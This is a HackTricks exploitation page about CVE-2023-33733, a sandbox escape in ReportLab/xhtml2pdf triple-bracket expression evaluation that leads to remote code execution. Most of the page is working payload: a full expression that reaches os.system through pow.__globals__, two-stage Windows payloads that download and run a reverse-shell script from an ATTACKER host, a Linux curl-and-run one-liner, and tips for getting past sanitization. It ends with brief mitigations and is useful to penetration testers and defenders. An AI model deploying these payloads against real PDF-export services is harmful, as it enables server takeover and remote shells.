hacktricks/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
HackTricks News Bot fdb533d0f7 Add content from: University (HTB): Exploiting ReportLab CVE‑2023‑33733 to gai...
- Remove searchindex.js (auto-generated file)
2025-08-27 18:54:18 +00:00

79 lines
6.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
{{#include ../../../banners/hacktricks-training.md}}
This page documents a practical sandbox escape and RCE primitive in ReportLabs rl_safe_eval used by xhtml2pdf and other PDF-generation pipelines when rendering user-controlled HTML into PDFs.
CVE-2023-33733 affects ReportLab versions up to and including 3.6.12. In certain attribute contexts (for example color), values wrapped in triple brackets [[[ ... ]]] are evaluated server-side by rl_safe_eval. By crafting a payload that pivots from a whitelisted builtin (pow) to its Python function globals, an attacker can reach the os module and execute commands.
Key points
- Trigger: inject [[[ ... ]]] into evaluated attributes such as <font color="..."> within markup parsed by ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__.
- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering.
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stability: Return a valid value for the attribute after execution (for color, use and 'red').
When to test
- Applications that expose HTML-to-PDF export (profiles, invoices, reports) and show xhtml2pdf/ReportLab in PDF metadata or HTTP response comments.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
- HTTP response for PDF often starts with a ReportLab generator comment
How the sandbox bypass works
- rl_safe_eval removes or replaces many builtins (getattr, type, pow, ...) and applies name filtering to deny attributes starting with __ or in a denylist.
- However, safe functions live in a globals dictionary accessible as func.__globals__.
- Use type(type(1)) to recover the real builtin type function (bypassing ReportLabs wrapper), then define a Word class derived from str with mutated comparison behavior so that:
- .startswith('__') → always False (bypass name startswith('__') check)
- .__eq__ returns False only at first comparison (bypass denylist membership checks) and True afterwards (so Python getattr works)
- .__hash__ equals hash(str(self))
- With this, getattr(pow, Word('__globals__')) returns the globals dict of the wrapped pow function, which includes an imported os module. Then: ['os'].system('<cmd>').
Minimal exploitation pattern (attribute example)
Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
- The list-comprehension form allows a single expression acceptable to rl_safe_eval.
- The trailing and 'red' returns a valid CSS color so the rendering doesnt break.
- Replace the command as needed; use ping to validate execution with tcpdump.
Operational workflow
1) Identify PDF generator
- PDF Producer shows xhtml2pdf; HTTP response contains ReportLab comment.
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
3) Verify execution with low-noise ICMP
- Run: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
- Windows often sends exactly four echo requests by default.
4) Establish a shell
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
- Stage 1 (download):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- Stage 2 (execute):
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
- For Linux targets, similar two-stage with curl/wget is possible:
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
Notes and tips
- Attribute contexts: color is a known evaluated attribute; other attributes in ReportLab markup may also evaluate expressions. If one location is sanitized, try others rendered into the PDF flow (different fields, table styles, etc.).
- Quoting: Keep commands compact. Two-stage downloads drastically reduce quoting and escaping headaches.
- Reliability: If exports are cached or queued, slightly vary the payload (e.g., random path or query) to avoid hitting caches.
Mitigations and detection
- Upgrade ReportLab to 3.6.13 or later (CVE-2023-33733 fixed). Track security advisories in distro packages as well.
- Do not feed user-controlled HTML/markup directly into xhtml2pdf/ReportLab without strict sanitization. Remove/deny [[[...]]] evaluation constructs and vendor-specific tags when input is untrusted.
- Consider disabling or wrapping rl_safe_eval usage entirely for untrusted inputs.
- Monitor for suspicious outbound connections during PDF generation (e.g., ICMP/HTTP from app servers when exporting documents).
References
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html)
{{#include ../../../banners/hacktricks-training.md}}